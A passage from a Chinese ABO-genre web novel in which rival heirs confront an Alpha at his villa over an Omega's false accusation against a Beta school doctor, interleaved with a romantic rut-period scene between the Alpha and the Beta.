他和钟离曜不一样。 钟离曜出生在那种钟鸣鼎食之家,家中规矩森严,又对钟离曜倍加宠爱,将这朵高岭之花保护得几乎什么都不懂。 凌奈从有记忆以来就见过无数肮脏的破事,Beta和Beta、和Alpha的躯体纠缠在一起,发出像是春天的猫般尖锐而娇媚的声音。 在他分化之前,就有人想要邀请他做点什么,分化后更是不计其数。 凌奈悄悄用余光瞥钟离曜,心想:这人不会连这些东西是什么,都不知道吧。 钟离曜却像是看出了他的疑惑似的,一只手扯住他上衣下摆,说:“出去吧,这里脏。” 青筋分明的纤长手指扯住衣服下摆的一点点布料,却很用力地想把衣服的主人往外来。 凌奈看着和自己一般高的钟离曜做出这种小孩才会做的事,有点想笑:“你竟然也知道这是什么?” 钟离曜蹙眉,对凌奈看低自己表示不满:“初中和高中的生理课程,你一节都没听过?” 凌奈耸肩,满脸痞气:“我根本不需要听。” “去找闻行屿吧,我们不知道塔利亚住在哪个宿舍。”钟离曜转开了话题,却仍在心里不住琢磨。 什么叫不需要听? 那凌奈是怎么懂的? 冰块脸的高大Alpha下意识又将对方衣服下摆揪紧了一些。 难道凌奈和别人做过这种事,所以自然而然就懂了? 凌奈却根本不知钟离曜此刻的内心活动,回答道:“走吧,但我还有一点不明白。” 他们刚才从战斗系宿舍出来是开着车来的,此时车就停在楼下。 “什么?”钟离曜抬头。 凌奈垂眸思索,断眉在光影分明里格外帅气:“闻哥怎么会放出这么多信息素?是为了帮那个学弟掩盖么?还是他易感期了?” 战斗系被闻行屿虐过的学生,都对闻行屿产生了难以磨灭的刻板印象。 那就是闻行屿是神。 神怎么会易感期?神怎么会控制不了自己信息素的释放? 闻行屿释放信息素,一定是有理由的。 钟离曜下意识就否定了:“他不可能因为这点Omega信息素被引导进入易感期,我之前听我姐说,闻行屿在特殊部队的时候,每一次Omega信息素针对训练都能顺利通过,在他以前没有一个人能做到。” “我也觉得闻哥不太可能,但又觉得有点奇怪。”凌奈说。 钟离曜的车中规中矩,是一台价格昂贵的宾利商务车。 不似这所学校里其他学生那般张扬爱开超跑,钟离曜一贯是如此,吃穿用度都透着低调的奢华。 灯光从外穿透玻璃,落在钟离曜清冷眉目间,令他像是一尊无情的仙人雕像。 雨下得小了,细细密密落在车顶,发出思细碎的声响。 更像是把车厢里的两人与外界隔绝开了。 凌奈忽然心中一动。 已经是深夜,所有人都早已安然入睡,可他却还和钟离曜呆在一起。 四周寂静无人,或许方圆500米内就只有他们。 钟离曜离他只有咫尺的距离,只要他伸手便可以触碰到。 他能听见钟离曜平稳的呼吸声,也可以嗅到对方身上洗衣凝珠洗涤衣服后留下的些微香气。 简直就像是两个人在约会似的。 断眉酷哥在联想到这一点时不免感觉一股热意上涌,熏得脸颊耳朵发烫。 商务车车灯如同锋锐利剑,光亮刺穿前方的大片黑暗,车厢内寂静得只能听见两人的呼吸声。 钟离曜不知该说什么,只好没话找话问:“有点闷,要开空调么?” 话毕,凌奈下意识去按空调的按钮,而钟离曜左手握方向盘,右手也伸向了按钮的区域。 按钮没被碰到,但两只手在空中相碰了。 凌奈撤回手,脸愈发烫了,连带着声音都有些颤:“你开吧,没坐过你车,不知道你这车空调怎么开。” 虽然当事人自以为用冷冰冰的语气将略微发颤的声音掩盖得很好。 钟离曜正在开车,注意力集中在路面上,在碰到凌奈手指的刹那竟下意识反手握住了对方的手,并按在换挡杆旁。 整个动作一气呵成,是典型的防他人抢夺方向盘的控制动作。 凌奈心中旖旎一扫而空,冷笑一声:“呵,身手挺利落啊。” “抱歉。”钟离曜感受到对方体温的瞬间,顿时握紧了凌奈的手,“你的手怎么这么冷?” 凌奈手确实冰凉:“小时候调皮,和朋友去外面雪地里探险来着,然后我俩掉进洞里出不来,从那时候开始就落下病根了。” 钟离曜淡淡应了一声,却没有松开凌奈的手,拇指还来回磨蹭着,像是在凌奈取暖。 钟离曜有点走神。 他想着上次两人单独在一起时自己未问出的答案。 那天和白苏、闻行屿聚餐后,钟离曜向凌奈询问起聚会当晚的事情:“凌奈,你知道当天我喝醉之后是谁把我扶到房间休息的么?” 凌奈沉默半响才开口:“是我。” 而后,钟离曜继续追问:“我记不清当时的事了,我做了什么奇怪的事么?” 当时钟离曜凤眼闪烁着,紧张地观察着凌奈的反应。可凌奈只是绷着脸,随口吐出两个字:“没有。” 得知是凌奈扶自己去休息的,又结合第二天凌奈似乎受伤,钟离曜一直在心里揣测—— 该不会是自己趁凌奈扶着自己没有防备的时候,偷袭了他吧!? 喝醉后的自己竟然是这样品行低劣的小人吗? 钟离曜并不质疑自己的人品,但整件事怪异而荒诞,让钟离曜只能联想到这个可能。 可是凌奈是个嘴犟的,钟离曜知道,肯定是没法从凌奈这里问出什么结果了。 而且如果真是自己偷袭成功,凌奈也绝不可能承认,因为那样太没面子。 “钟离曜。”凌奈忽然开口,打断了钟离曜的走神。 “嗯?” “你以前谈过恋爱么?或者说,喜欢过谁么?”凌奈问。 大抵是昏了头,大抵是现在氛围太暧昧,而钟离曜还握着他的手在替他取暖 所以凌奈不管不顾地,就这么问了出来。 钟离曜握着方向盘的手骤然收紧了些:“没谈过恋爱,但是” 空荡无人的道路后方突然传来一阵响彻天地的鸣笛声! 凌奈侧头看倒后镜,被后面两台超跑的远光灯差点闪到眼睛:“怎么大半夜路上跟来了两台车?” 钟离曜眯着眼,悍然踩下油门:“看他们会不会跟上来。” 钟离家的驾驶技能都是在army内进行培训,比寻常人开车要更加懂得如何使用载具作为拦截、甩开敌人的工具。 连续拐了四五个弯后,那几台跑车虽然跟丢了,但明显是冲着他们来的。 “什么情况?”钟离曜将车隐藏在漆黑树影间,关闭了所有的灯与引擎。 凌奈也搞不清楚:“如果是冲我来的,不可能大张旗鼓开着那种跑车。” 而且追杀他的人也不可能这么没水平,只是绕几个弯就跟丢。 “我也是。”钟离曜回答,仍旧没有松开握着凌奈的手。 “怎么回事!他们怎么把我们甩开了,是没胆子跟我们正面碰上么!”柳恒大怒。 接到柳弦电话,他和朋友连包厢里的美丽Beta都不想管了,径直带着人开车赶来学校。 就在柳弦报的地点附近,却恰好看见了一辆大半夜还在开的黑色宾利! 柳恒怎么想怎么觉得这车诡异:大晚上,又正好在弟弟说的地方附近 他拍了拍自己装满水的脑仁,觉得这辆车肯定就是那个混账Beta的车,正在到处找自己的宝贝弟弟! “我去接弟弟,大陈你们去继续跟那辆车!该死的,我就不信了!”柳恒吩咐下去,想要马上见到弟弟的心情更加急切了。 当时柳弦要来这里当什么老师,他就不同意! 他们柳家又不差那点钱,如果柳弦就安安分分呆在家里画画、偶尔参加活动,他每天回家都能看见弟弟,那该有多好! 结果现在倒好,弟弟在这所学校里还遇到了危险! 好在两分钟后,柳恒就在附近的商学院大厅里接到了可怜巴巴满身雨水的柳弦。 长发Omega一见柳恒立刻就边哭边扑进他怀里:“哥哥救我!我害怕!” “别怕别怕,哥哥在,哥哥替你去捉那些人了,我倒要看看谁这么大胆!”柳恒紧紧抱着柳弦,看着弟弟衣服都湿透的模样,愤怒值已经飙升到了临界点。 柳弦心知肚明白苏是无辜的,可他编造了一大通谎言来告诉哥哥和Omega保护署,竟然说得自己都有点被骗过去了:“嗯嗯,我相信哥哥” “刚才我们看见一台可疑的车,应该就是他们,我已经让你大陈哥哥去追了。”柳恒摸摸柳弦的头,温柔地用手帕替他擦去脸上的水痕,“今天之后,我们回家去住,不来这破地方工作了。” 柳弦没想到哥哥竟然会来这出,霎时间大惊失色:“什么?不行!我我很喜欢这份工作的!” 开玩笑,如果他不在这所学校,那他还怎么找机会和闻行屿接触! 柳恒唇角绷紧,早就知道弟弟是在打什么鬼主意:“之前你来的时候我就知道是为了什么,但是我不想拆穿你,你还是个情窦初开的小孩,我觉得这都没什么!可是现在,这里太危险了,你必须给我回家去!” 这所学校聚集了整个主城上流社会各个家族的年轻一代,可谓是鱼龙混杂之地。 各种势力间隐约在学校里形成制衡之势,暗流涌动,连校董会都变成这几个家族间争夺权柄的角斗场。 十年前,学校里曾经发生过魔法学院错误释放了特殊的召唤兽,召唤兽在学校内四处毁坏建筑物,还将某家族继承人当场咬死的袭击事件。 但这起看似意外的袭击事件下,却是内有乾坤。 很多人都知道,那起袭击完全就是另外几个家族策划的。 之前闻行屿和南宫槿的对峙也可见一斑,这并非两个人之间的恩怨,而是两个家族积攒了上百年的血海深仇。 柳家一直站队南宫家的派系,和百里家、谷家、尉迟家站在同一战线。 这也是为什么即使闻家权势滔天,柳家也不同意柳弦去追闻行屿的原因。 “不行,哥哥,我我现在和闻行屿已经很熟悉了”柳弦拉着柳恒袖子,还想要求情。 柳恒却不耐烦道:“弦弦!我不是在和你商量,你太任性了!我这是通知,就算你不回去,我也会五花大绑绑着你回去!” 柳弦见此时白苏还没抓到,自己反倒要被抓回家,以后都不知道能不能闻行屿,本来装模作样挤出来的眼泪此时倒是真切了:“哥哥,你怎么能这么蛮横!” “咳,吵架能等会儿再吵么?”一旁传来男人低沉冷淡的声音。 随后另一个声音较为清亮的男人也开口:“是啊,我们大半夜被叫起来,还是先说正事儿吧。” 柳弦没想到这里还有别人,慌乱擦去脸上的眼泪看过去,才发现铜钟下当下或站或坐四个高挑男人。 正是商学院的F4。 方才第一个说话的南宫槿看着柳弦柳恒两兄弟拎不清的废物模样,烦躁地背过身去。 他最讨厌被浪费时间,尤其是被蠢货浪费时间。 第二个说话的百里枫感觉到了他的烦躁,安慰性质地拍了拍他的肩膀。 尉迟云蔚起床气严重,此时眼下挂着黑眼圈,沉着脸没有说话。 因为他知道,他要是开口必然是带着脏字的怒骂,影响几个家族和谐,没必要。 谷四宜昨晚陪着尉迟云蔚去赛车场飙了一夜的车,才刚睡下就被紧急电话吵醒叫起来,就算是再好的脾气也难掩倦意。 此时此刻,作为四个人里脾气最好的那个,谷四宜已经靠着墙壁坐着,开始打盹了。 柳恒也感觉家丑不可外扬,立刻尴尬笑了笑:“不好意思啊,还麻烦你们跑一趟了,我就是太担心小弦了。” “没事,人找到了就行,那我们就先回去休息了?”百里枫见平日经常充当代言人的谷四宜已经睡得在钓鱼了,只好暂时充当发言人。 正如刚才所说,柳家和南宫家、百里家等家族是绑在一条船上的“同僚”,早在柳弦来的时候,柳恒就嘱托过F4照顾柳弦。 四个人也曾经邀请过柳弦吃饭,只是柳弦张口闭口都是“艺术”“缪斯”“模特老了该怎么办呐”“我是画廊策展人”,久而久之连谷四宜都顶不住,之后就很少再联系了。 这次半夜虽然不耐烦,但大家都是在名利场里从小混到大的人精,知道这种时候不能不到场。 但既然人找到了,他们可就不管其他的了。 柳恒愣了一下,却说:“小枫,你们熟悉学校,带我们去把那个Beta先抓住吧?说不定他正准备畏罪潜逃呢。” 百里枫的脸隐匿在阴影里,毫无顾忌地翻了个白眼:“谁?真要逃了,我们又没有长翅膀,也没法帮你抓住啊。” 柳恒看向柳弦,后者立刻说:“是一个叫白苏的人,他是新来的校医,刚才他竟然用木仓指着我,还开木仓了” 柳弦活在自己是Omega而整个世界的Alpha都爱护Omega、唯他们是从的谎言里。 从小被宠溺的他觉得,F4本来就和自己的家族交好,再加上这样的Beta袭击Omega的事件,肯定会让F4震怒,帮他一起去抓白苏。 到时候白苏对着发情的闻行屿束手无策,又被带着好几个年轻继承者Alpha的自己抓个正着,谁才是真正的胜者那还不是一目了然? 就算闻行屿不喜欢自己,被白苏那土包子蒙蔽 至少其他上流社会的Alpha,绝对会站在自己这一边! 柳弦抬手挡住脸,让别人以为他委屈流泪的同时,在掌下肆无忌惮笑起来。 气氛死寂了一瞬间。 南宫槿本来已经在用手机处理公事,听见那个名字时倏地转过身来看着柳弦:“你确定,是说那个校医,对着你开木仓?” 百里枫、尉迟云蔚等三人都知道南宫槿最近在发疯追那Beta,闻言不由得露出想要看戏的笑。 尉迟云蔚甚至推了睡着的谷四宜一把,逼着他醒来吃瓜。 “南宫,我弟弟不会在这种事情上撒谎。”柳恒替柳弦回答了南宫槿的话。 百里枫双手抱臂,想吹个口哨但忍住了。 没想到,那个漂亮Beta竟然这么有种,敢对着Omega开木仓? 百里枫从小就参演各种电视剧和电影,想象力非常丰富,此时几乎可以想象到盛大的雨幕里,那个清瘦高挑的身影是如何持木仓对着眼前哭哭啼啼的烦人“缪斯”。 阴冷的雨水里升腾起白雾,黑漆漆的木仓口后是漂亮Beta的琥珀色大眼睛。 简直性感到极点了。 百里枫闭着眼想象片刻,睁开眼时心想:不知道南宫槿介不介意自己跟他雄竞一次。 反正,南宫槿也只是为了恶心闻行屿,可他不一样啊。 蓝发青年笑了起来,决定给自己无聊的学校生活找点乐子。 南宫槿瞥百里枫一眼,拍板决定:“行啊,我们和你一起去找。” 柳弦立刻点头表示感谢:“谢谢大家帮我!” 长发Omega眼中闪过一丝阴鸷。 白苏,等着吧,很快你就会知道,由五个世家大族组成的搜捕网有多么强大! 到时候,你就会意识到像你这样的平民,和我这样的贵族少爷之间是云泥之别,而我只要动动手指头就能让一大堆Alpha替我赴汤蹈火,甚至不用我动手,你就会被那些Alpha处理掉! 柳弦和柳恒都并未注意到,南宫槿脸色阴沉,百里枫满脸看戏,尉迟云蔚和谷四宜幸灾乐祸。 反正都不像是来帮忙该有的模样。 *** 花墙下,被雨水打落的片片花瓣在鹅卵石铺就的小径旁铺成了一片浅粉色的地毯。 这片月季花墙种的全都是珊瑚果冻月季,花簇饱满,压得花枝都向下低垂着。 玻璃结构的三层别墅内灯火通明,窗帘紧拉着,让人并不能看见里面的光景。 四台昂贵的车不规则地停在别墅院外的公路上,靠前的蓝色轿跑此时还亮着灯,发动机轰鸣作响。 “小弦,你刚才怎么没说这个白苏和闻行屿在一起!”柳恒压低声音质问道。 柳弦因为心虚没有说话,而坐在同一台车上的柳恒的朋友则开始打圆场:“算了吧阿恒,小弦刚开始那么慌乱,没说清楚也很正常。” 柳恒却知道事情没有这么简单。 他就说怎么会有Beta敢对着Omega如此放肆,但如果那个Beta背后是闻行屿,甚至能自由出入闻行屿的家,那事情完全就不一样了! 而且他了解自己的弟弟,知道这件事一旦跟闻行屿沾上关系,可信度就大大下降。 说不定完全就是柳弦因为嫉妒而编造出来的。 柳恒原本对那个陌生Beta的怒意消散了不少,取而代之的是淡淡的不安。 自己这样兴师动众叫上了南宫家、尉迟家的人,又惊扰了校方,连其他和柳家关系不错的世家子弟也都来帮忙了 如果他直接说这都是柳弦说谎闹出的乌龙,那肯定就要得罪人了! 而且之后还会被传出去,成为整个上流圈子的笑话! 所以不管怎么样,他也必须从闻行屿手里拿到这个Beta,把他处理掉。 否则,他柳家还怎么在主城立足! 车外,柳恒的兄弟大陈已经在门口按了许久的门铃。 可纵然院内别墅灯火通明,也没有人给他们开门,也没有半分回应。 这让习惯了被阿谀奉承的几位太子爷都有些不爽。 柳恒就算知道可能是误会,但此时也已经在所有人面前被推上了众矢之的位置,如果不做点什么就灰溜溜离开,一定会被在场众人看不起,以为他是怕了闻行屿。 于是他立刻下车,高声吩咐自己的兄弟:“没事,我们直接开车撞进去!” 他就不信,这样说闻行屿还会不开门? 虽然他们几个家族比不上闻家,但也不是好惹的,柳恒觉得闻行屿一定不敢这么不给他们面子。 事关闻行屿和南宫槿,这已经不是两个人之间的恩怨矛盾了。 就算现在柳弦站出来说是误会,就凭闻行屿这个不开门的傲慢态度,两边也势必要有一场矛盾要爆发。 柳恒不害怕得罪闻行屿,因为来这里是经过了南宫槿的授意,也就是说,这完全是两个阵营之间的一次冲突。 到此时此刻,这次他们入校的性质已经变了。 而尉迟云蔚和谷四宜的车上,早已经说悄悄话说了半天:“我去,这Beta竟然和闻行屿在一起?他们已经发展到这个程度了?” “柳恒是想强闯吗?那槿可要笑开花了。” “反正我们就看戏,不亏,说不定还能看见闻行屿暴揍一顿柳恒呢,哈哈!” “不会把我们也顺手打了吧,害怕。” “那不至于,闻行屿还能一次打这么多个人?” 柳恒让柳弦和朋友都下车后,大声说:“闻行屿,你再不把那个Beta交出来,我就要撞门了!” 别墅静悄悄一片,唯有虫鸣鸟叫,以及被这些神金打搅了美梦的小动物从土堆里探出头来看着他们。 柳恒被众人目光注视着,一咬牙便想要踩油门! 电光火石之间,千钧一发之际,一台黑色低调的宾利突然从草丛里直直窜出,打横停在院子大门前,硬生生逼停了柳恒想要开车撞门的动作! 这场面霎时间让平日养尊处优的柳恒等人惊住,只有南宫槿眯起眼睛:“钟离曜?” 来者正是刚才的钟离曜和凌奈。 两人方才在远处观察到跟着他们的跑车停在了闻行屿住宅外,又看见后面跟来了好几辆车,其中还有百里枫的车。 前面两台跑车是以前没在学校见过的,那些人看起来也不熟悉学校里的路。 看起来,是从外面进来找闻行屿麻烦的,而且还请了百里枫来当帮手。 钟离曜虽然看似淡漠,对任何事情好似都并不关心,但闻行屿对他而言好比兄长,此事他绝无可能不管。 凌奈开门下车,散漫地晃悠到大门前:“大半夜的,朋友们这是闹得哪出?怎么跑到我哥家门口来了。” 凌奈在入学前就是闻行屿的迷弟,之前还想直接参军加入闻行屿的队伍,但后来闻行屿离队,他便打消加入特殊部队的念头,也跟着来战斗系上学了。 认识闻行屿、了解对方品行后,凌奈更加敬佩闻行屿,一直把闻行屿当亲哥看待。 就算当着这些人的面,凌奈也照样敢这么说。 柳恒看见凌奈时皱起眉:“凌家小子?你大半夜来这里干嘛?我们有事找闻行屿,你们让开吧!” “什么事是大半夜凌晨三点要强行闯入别人家里说的?”凌奈沉了脸。 另一个柳恒的朋友也劝道:“我们是要带走闻行屿这里一个Beta,你们就别来掺和了,没你们的事儿。” 凌家才刚刚兴起,又处于灰色地带,是这些老钱世家最为看不上的那类。 “如果我非要掺和呢?”车里传来钟离曜的声音,男人缓缓摇下主驾驶的车窗,让自己的脸完全被周围的人能够看见。 “是钟离曜!”“怎么钟离家的人也来了!” 钟离家地位特殊,在闻家和南宫家的争斗里一直站着中立的位置,可谁都不敢惹。 “你们要是不信,就一起到里面去当面对峙,问个清楚吧。”柳恒不想得罪凌奈和钟离曜,但也不愿被他们挡在门外。 凌奈蹙眉,问:“你们到底要干什么?” 凌奈心里打鼓。 闻哥这么长时间也不回应,该不会真的出了什么状况吧。 柳恒见他似乎还有说话的余地,便详细解释道:“有个叫白苏的校医,他开木仓差点打伤了我弟弟,他现在正躲在闻行屿的房子里。我们今天就是来讨个说法的!” *** 特殊外墙隔绝了周遭喧嚣,独余中央空调的送风声音单调而往复循环。 炙热的吻猝不及防地落在敏感而细嫩的脖颈皮肤上。 潮湿而温热的呼吸萦绕在白苏耳畔,令他溢出一声不完整的惊呼:“你你!” 唇瓣碾过皮肤,舌尖也在此刻恰逢其时地伸出,仔细舔舐每一寸肌肤。 白苏脖颈和耳朵本就敏感,此时浑身发抖,脸也涨红了:“你清醒一点,我是Beta啊啊啊!” “抱歉。”闻行屿感受到他的挣扎,顿时手臂的力度松开,但却耍赖般并没有放开白苏。 走进地下室后,闻行屿立刻就和白苏重申了他的建议:“如果你现在想走,你可以走。但是等下如果我信息素失控,我可能会不让你走。” 但白苏还是坚定地要留下来。 所以方才闻行屿彻底放松,把白苏拉倒的那一幕才会出现。 被草叶味道环绕着,既让身体感到灼热,好似漂浮在云端,但又好像永远无法达到顶点,无比煎熬。 白苏讷讷开口:“没事。” 想要挣脱时白苏才发现,闻行屿的手臂不知何时早已收紧,将他的腰毫无缝隙地揽住。 双臂收紧的姿势,像是个抱着小熊玩偶睡觉的少年。 心跳得太快了,脖子又热又疼,明明只是被亲了一下,可是却连带着大片肩颈的皮肤都开始酥麻。 白苏脸颊红得像要滴血,如若有镜子,此时他就会发现易感期的人不像是闻行屿而像是他自己。 白皙青年四处乱扫的慌张目光落在玻璃柜里琳琅满目色彩各异的抑制剂药瓶上。 好齐全。 白苏自诩自己认识市面上大多数Alpha信息素抑制剂,这里不仅全都有,还有许多白苏见都没见过的高级货。 说不定是army内部特供的药。 抑制剂的保质期很短,且高档货价格不菲,正常人不可能屯这么多不同种类的抑制剂。 这说明,闻行屿刚才说“抑制剂没用”,是真的。 因为抑制剂没用,所以每次易感期到来就会疯狂地去试各种抑制剂。 因为抑制剂没用,所以才会有手铐和束缚袋,把自己装进里面锁起来,才能防止自己跑出去,变成被信息素支配的伤人威胁。 原来一直开朗的带着笑的人,已经在这里度过了无数个日夜。 白苏指尖忽然泛起一股难以言喻的酸疼。 作为闻行屿的朋友,他也想做点什么。 “我只是觉得,抱着你的时候,好受一点。”闻行屿看着他,眼神迷离,似乎已经不太清醒了。 白苏不是Omega,通过他几年学习的知识来看,他根本无法在Alpha易感期时提供任何信息素的抚慰。 可是闻行屿却说,抱着他会好受。 “好吧。”白苏不理解,但却并没有再去挣扎。 被抱着也不会怎样他又不是部分把自己所谓“名声贞洁”看得很重的Omega,Beta也没有这些可讲究的。 因为Beta实在太平凡了,数量很多,没有人会在意。 就像他在这个学校里的位置一样,其他人在需要校医时会召唤他,其他的时候甚至不记得他的名字。 只有闻行屿什么都想着他,处处照顾他。 闻行屿最好了。 如果是闻行屿想这样,那就让他抱好了。 白苏抬手摸了摸他的脸,感受到不寻常的热:“算了,你想抱就抱吧。” 为好兄弟付出一点,都没啥,都值得。 沙发的尺寸宽敞,足以容纳两人并肩躺卧,框架采用精选的实木材质,结实耐用,外部包裹的是Hstens特有的天然马毛和棉层。 沙发背上还搭着两条厚厚的毯子,纯羊毛,看起来便暖融融的。 白苏曾经在信息素的医疗课程里看见过Omega应该如何在Alpha易感期时对Alpha进行包括但不限于信息素安抚、动作安抚等抚慰动作。 1.与Alpha皮肤相贴,尽可能多地传递信息素; 2.言语和肢体安慰,确保Alpha在心理上能够获得一定程度的支持; 17.令他们处在温暖安全的环境里; 闻行屿看着白苏把毯子扯下来盖在自己和他身上,又重新乖顺躺回自己怀里,然后忽然抬高手臂—— 紧紧地抱住了自己。 微凉的细嫩的手,也开始在自己裸露的皮肤,手臂、脖子和脸侧轻轻抚摸。 体温交换,而这次是白苏主动的。 闻行屿颤抖着吐出一口灼热的气,想要将白苏撕扯着吞吃入腹的冲动像是怪兽般在他体内横冲直撞。 为了自己,白苏可以做到这样。 那如果亲他,如果再做得过分一点白苏也不会生气的吧? 像是有个恶魔在闻行屿耳边不断诱惑着,说着让此刻闻行屿难以拒绝的话。 他没有注意到,白苏在抚过他脖子时顺手从领口取出了原本放在里面的项链挂坠后神色一愣。 那颗吊坠形状和样式都简单得近乎有些不符合闻行屿身份,可从被磨得圆润的边缘却能看出这项链带的时间不短。 “喜欢,很喜欢,从第一次见你就很喜欢。”闻行屿手臂再次收紧,将鼻尖抵在白苏脸侧,磨蹭了几下。 像是野兽在通过用身体摩擦来释放气味,以占领地盘似的。 Alpha想要解除易感期的方法很单一,那就是对Omega进行暂时标记或是使用抑制剂。 闻行屿在濒临昏迷的刹那,忽然感觉到有人在亲吻他的嘴唇,努力将津液渡进他的口腔。 甜的,带着白苏的味道。 是白苏在亲他吗? 第25章 第 25 章 攻受の亲密接触场合(下…… 闻行屿再次醒来时是被警报器的声音惊醒的。 手臂沉重, 胸口枕着软绵绵毛茸茸的小脑袋。 柔软黑发蹭得他锁骨脖颈处的皮肤丝丝缕缕的痒,电流好似沿着皮肤弥漫至胸腔,激起阵阵酥麻。 漂亮Beta温暖而柔软的脸蛋在中央空调的暖风下泛着淡淡红晕, 鼻尖挺翘,乌黑睫毛如同鸦羽,看得闻行屿忍不住伸手去碰了碰。 白苏蜷在他怀里, 睡得很沉很香。 即便睫毛被来回揉搓, 也没有半分要转型的迹象。 地下室内虽然封闭,但换气系统效率极高, 此时只余浅淡几乎难以察觉的硫磺气味与草叶香。 闻行屿抬手看表,才发现此时距离他们回来,只是过去了三个小时。 灵台清明,神清气爽。 而他的易感期好像已经过去了。 奇怪的地方是,易感期如果不借助药物辅助,一般至少需要两到三天的时间去熬过去。 醒来的时候, 还会感觉非常疲乏, 因为身体机能花费了太多能量在平息信息素水平上。 即使闻行屿体能超乎寻常人, 也往往需要超过一周的时间来补充营养恢复体能。 可是这次, 却只用了三个小时就结束了易感期? 闻行屿闭眼,充盈的力量在体内流转,全然没有半分被消耗的痕迹。 不仅不觉得肌肉酸疼胸腔胀痛, 连那种无法平息的焦躁感也并未出现。 这次的易感期, 从头到尾都很奇怪。 或许是因为开始得仓促,所以结束得也就比较潦草了么? 闻行屿低头看白苏,目光有些复杂。 之前能闻到白苏的味道这件事,本来就已经很奇怪。 他确认自己精神没有出现问题,能闻到白苏味道也并不是幻觉。 但出于保护白苏的缘由, 闻行屿一直并未告知信息素研究中心的科研人员关于白苏的任何事。 他知道自己家的那些老古董为了救自己会做出什么事来。 那些人将普通人视作蝼蚁,为达目的可以杀人放火,无所不用极。 而他已经不能接受一年前的一切重演了。 那会让他之前拼尽全力的抗争像个笑话。 他不愿意其他人为了救他而死,更不愿这个人会是白苏。 调查因此迟迟未开始,但闻行屿却决定了之后必须抽空去北方基地找自己信得过的朋友一探究竟。 毯子绵软,被睡熟的青年扯到下巴的位置,卷得像是个蝉蛹,盖了个严严实实。 短发Alpha给白苏调整了睡姿,让他能枕着枕头,睡得舒服点。 犹豫片刻,闻行屿半跪在地,摸了摸白苏的头:“晚安。” 闻行屿总算轻松熬了一次易感期,难得有些高兴。 因为这意味着事情有了转机。 但看了一眼还在响的警报器,闻行屿脸上的笑容便霎时间凝住。 玻璃别墅外的围墙以木制篱笆围起,不过一人高的围栏其实对想要翻进来的人并不困难。 但篱笆只是一道精致的装饰物,这栋房子实际的防护系统是埋在地下的压力检测系统以及先进的激光感应系统,一旦检测到热源就会自动识别入侵者数量,并且会同步将讯息传递到闻行屿这里。 玻璃房的一二层间还有隐藏的武器层,随时都可以转出木仓管来对着外面射击。 而此时闻行屿感到烦躁的不是看见了入侵者人数众多,而是因为他看见了南宫槿的车,还看见了站在外面的凌奈、钟离曜以及柳弦。 顷刻间,闻行屿就猜到了这些人凌晨四点聚集在自己家门口的原因。 柳弦想难为白苏,竟然大半夜的就把亲哥、还有和柳家交好的几个家族的继承人都找来堵在自己门口了。 “真是胆大包天啊。”闻行屿站在显示屏幕前,深邃面容好似覆盖着一层冰雪般的冷霜。 找麻烦,竟然找到他闻行屿头上来了。 地下室另一侧的暗门洞开,内部透出隐约冷光。 黑衣男人从里面再次出来时换了身黑色运动服,手里握着个黑色扁平的遥控器。 遥控器看起来平淡无奇,可却能瞬间遥控机木仓扫射院落前方空地,火力覆盖面密集而宽泛,足够在瞬间就把那些站在他门口的不速之客全部打成筛子。 *** 玻璃别墅的正门缓缓打开,柳恒已经做好了准备。 他背后就是南宫家、尉迟家,所而且是闻行屿带着那个Beta先冒犯了他弟弟,他本来就有理由理直气壮要求闻行屿把那个Beta交出来! 对,他就要直接要求闻行屿交出那个叫白苏的Beta! 闻行屿穿着简单的黑色运动背心和运动长裤,从门内缓缓走出,好像全然没看见院门外的那些人似的,锐利目光直直落在南宫槿坐的车前,脸上闪过讽刺挑衅的笑。 即使南宫槿没有露面,他还是能够一下就闻出南宫槿在那台车上。 长发Omega原本被哥哥要求坐在车里,此时看见神色淡然动作利落的闻行屿倏的瞪大了眼睛,不可置信道:“他他怎么可能出来!” 刚才闻行屿明明还在易感期,现在才过去了几个小时,就算用抑制剂,也需要至少六七个小时的时间恢复,闻行屿怎么可能这么快就能恢复到往常的状态了!? 柳弦满脸诧异地打开车门,想要走近些去观察闻行屿,想要从中找出些蛛丝马迹,或是通过味道来分辨一二。 白苏是跟着闻行屿,但白苏是个Beta,闻行屿也不可能通过一个Beta去快速度过易感期啊!? “闻少,今晚打扰了。”柳恒原本设想的是在闻行屿出来后立刻大声质问,要让他交出白苏,可此时看见闻行屿高大而阴沉的模样,却又浑身打怵地改了话头,“我们是着急,才会半夜来找您要个人,是个Beta。晚上,他开木仓差点打伤了我弟弟。” 闻行屿冰冷目光从人群候后方挪回说话的柳恒身上,然后再慢慢落在站在一旁此时甚至不敢看闻行屿的柳弦身上。 真是有意思,恶人先告状,半夜告到这里来了。 闻行屿原来没有把柳弦当回事儿。喜欢他的Omega很多,一直追着他跑的人也比比皆是。 喜欢自己并不是他们的错,只要不干扰自己太多,闻行屿都不会对他们恶言相向。 但柳弦这两次的行为,已经完全践踏了闻行屿的底线。 第一次在船上,让他的朋友受伤。 第二次,趁他易感期想要强行带走他,甚至现在还想趁自己易感期没过去的时候强行带走白苏。 闻行屿平日看起来脾气不错,总与人谈笑风生,但这不意味着别人可以踩在他头上,触碰他逆鳞。 触碰逆鳞者,只有一种下场。 闻行屿面色阴沉,说话语气也极其冷淡:“是我开的木仓。他一个没受过任何训练的Beta,怎么可能随便就用木仓能打的中人?你们编故事之前,麻烦斟酌下基本的逻辑。” 凌奈和钟离曜早就在闻行屿出现后走到了闻行屿身边,一副要站队闻行屿到最后的模样。 闻行屿一番话便将白苏从中摘得干干净净。 柳恒两眼一黑,没想到闻行屿竟然会当着这么多人的面维护那个Beta,为此竟然不惜替对方背锅。 柳恒觉得,就算闻行屿再不喜欢自己的弟弟,也不可能真的想杀了弟弟,因为Alpha珍惜怜爱Omega是天经地义的事,闻行屿又怎么可能会对柳弦这样没有任何威胁性的美丽Omega起杀心呢? 柳弦一听闻行屿这么说,顿时急了:“闻行屿,你为什么要替他背锅?根本不是你开的木仓!你当时坐在那里” 似乎意识到南宫槿和闻行屿不对付,出于对闻行屿的感情,柳弦没有把“易感期”三个字说出来。 花园里漆黑一片,又没有监控,柳弦根本没法证明是白苏开的木仓。 而且那把波莱塔是闻行屿的木仓,说是他自己开的,没有任何人会怀疑。 “可是你为什么要这样?柳弦也没有得罪过你吧。”大陈忍不住替柳弦说了句话。 闻行屿没有说话,但别墅间似乎有什么东西启动了,发出机械运转的声响。 刹那,无数红点像是从天上落下的雨水般笼罩了院子门前的众人! 那是机木仓瞄准的红点! 一瞬间,在场被瞄准的人纷纷惊恐闪避! 